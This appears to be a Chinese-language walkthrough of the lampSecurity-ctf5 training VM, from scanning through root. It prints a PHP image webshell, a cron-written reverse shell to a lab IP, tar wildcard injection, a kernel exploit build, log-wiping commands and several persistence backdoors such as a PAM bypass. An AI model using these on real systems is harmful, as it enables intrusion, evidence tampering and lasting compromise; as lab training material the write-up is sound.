lampSecurity-ctf5靶机渗透测试实战指南 1. 靶机渗透测试入门为什么选择lampSecurity-ctf5作为渗透测试领域最经典的训练环境之一lampSecurity系列靶机在安全圈内有着Web渗透教科书的美誉。其中ctf5版本特别适合从零开始构建完整的渗透思维——它既不像某些玩具靶机那样把漏洞直接暴露在表面也不像真实企业环境那样复杂到令人绝望。我第一次接触这个靶机时花了整整三天才拿到第一个flag。过程中犯过的低级错误包括用默认字典爆破管理员密码、忽略HTTP响应头里的线索、拿到webshell后忘记清理日志...这些血泪教训反而成了最好的学习材料。下面我就用实战笔记的形式带你完整走一遍从信息收集到最终提权的全流程。提示本文所有操作均在本地虚拟环境完成请勿对未经授权的系统进行测试。建议使用VirtualBox导入靶机镜像搭配Kali Linux 2023.1以上版本。2. 环境搭建与初步侦查2.1 靶机网络配置要点将lampSecurity-ctf5的OVA文件导入VirtualBox后需要特别注意网络设置网络模式必须选择桥接网卡Bridged Adapter禁用VirtualBox的DHCP服务避免IP冲突建议为Kali和靶机分配静态IP如192.168.1.100/101启动后用arp-scan -l快速定位靶机IP。我遇到的一个典型坑是当靶机获取到169.254.x.x这类APIPA地址时说明桥接模式配置有误需要检查主机网卡状态。2.2 信息收集三板斧端口扫描的艺术nmap -sV -T4 -p- 192.168.1.101 -oN nmap_full.txt关键不是跑完扫描就完事而要特别关注22/tcp SSH - 版本是否存已知漏洞80/tcp HTTP - 网站技术栈是什么3306/tcp MySQL - 能否外连目录爆破的细节gobuster dir -u http://192.168.1.101 -w /usr/share/wordlists/dirb/common.txt -x php,html,bak遇到403/404不要轻易放弃试试这些变体/admin.php.bak/index.php~ (vim备份文件)/.git/HEAD (版本控制泄露)指纹识别的陷阱Wappalyzer显示靶机使用Apache 2.4.7 PHP 5.5.9但实际在HTTP头中发现X-Powered-By: PHP/5.3.28这种版本信息冲突往往意味着存在中间件代理或自定义配置需要手动验证。3. Web渗透实战突破3.1 SQL注入的迂回战术在/management登录页面尝试常规注入payload无果后通过Burp抓包发现关键线索Cookie: PHPSESSIDbase64_decode(admin)这提示可能存在会话伪造漏洞。实际测试用以下步骤绕过认证注册普通用户test:test登录后获取合法Cookie修改PHPSESSID值为base64_encode(admin)刷新页面即获得管理员权限3.2 文件上传的花式绕过在/admin/upload.php找到的上传点有严格限制仅允许.jpg/.png检测文件头魔术字节重命名上传文件最终突破方案制作图片马exiftool -Comment?php system($_GET[cmd]);? test.jpg上传时拦截请求修改Content-Type为image/jpeg利用文件包含漏洞执行/gallery.php?fileuploads/test.jpgcmdid3.3 数据库提权之路通过phpMyAdmin弱口令(root:空密码)进入后在SQL控制台执行SELECT * FROM mysql.user WHERE User;发现存在匿名账户且具有FILE权限。接着写SSH密钥SELECT 0x... INTO OUTFILE /var/www/.ssh/authorized_keys但遇到权限错误www-data无法写.ssh目录改道写入计划任务SELECT */1 * * * * root bash -i /dev/tcp/192.168.1.100/4444 01 INTO OUTFILE /etc/cron.d/backdoor4. 权限提升的终极之战4.1 横向移动技巧获取www-data权限后在/var/www/html/config.php找到数据库凭证$dbuser cmsadmin; $dbpass s3cr3tPss!;使用这些凭证成功登录MySQL发现users表存储着系统用户的密码哈希。用john破解出用户mike的密码是iloveyou123。4.2 内核漏洞的精准打击uname -a显示内核版本3.13.0-24-generic搜索可用漏洞searchsploit linux 3.13.0选择overlayfs本地提权漏洞37292.c但编译时报错fatal error: linux/compiler-gcc5.h: No such file or directory解决方法安装对应头文件apt-get install linux-headers-$(uname -r)修改源码中的头文件引用路径静态编译gcc -static -o exp 37292.c4.3 SUID二进制文件的另类利用发现可疑的SUID程序-rwsr-xr-x 1 root root 8.5K Mar 4 2015 /usr/local/bin/backup逆向分析发现它调用了tar -cf /backups/home_backup.tar /home/*利用通配符注入实现提权创建恶意文件echo cp /bin/bash /tmp/bash; chmod 4755 /tmp/bash /home/user/--checkpoint1再创建echo /home/user/--checkpoint-actionexecsh\ shell.sh等待定时任务执行后运行/tmp/bash -p即获得root shell5. 渗透后的思考与优化5.1 日志清理的隐蔽艺术不要直接用rm /var/log/auth.log这种粗暴方式推荐只删除当前会话记录sed -i /192.168.1.100/d /var/log/apache2/access.log修改文件时间戳touch -r /var/log/wtmp /var/log/wtmp.tmp mv /var/log/wtmp.tmp /var/log/wtmp5.2 持久化后门的十种姿势除了常规的cron、ssh key还可以修改PAM模块echo auth sufficient pam_permit.so /etc/pam.d/sshd动态库劫持echo int system(const char *s) { return 0; } /tmp/fake.c终端注入echo alias sudosudo -i; /tmp/bash -p /etc/bash.bashrc5.3 防御视角的反思站在管理员角度这个靶机暴露的致命问题包括PHP配置不当allow_url_includeOnMySQL默认空密码过期的内核版本不安全的SUID程序 修复方案其实很简单# 禁用危险函数 sed -i s/disable_functions .*/,exec,passthru,shell_exec,system/ /etc/php5/apache2/php.ini # 安装防火墙规则 iptables -A INPUT -p tcp --dport 3306 -j DROP这个靶机最宝贵的不是最终拿到root的那个瞬间而是每个环节遇到的阻碍和解决过程。建议每个关键步骤都记录下当时卡住的原因、尝试过的错误方法、最终突破的思路。这种思维训练才是渗透测试的核心价值。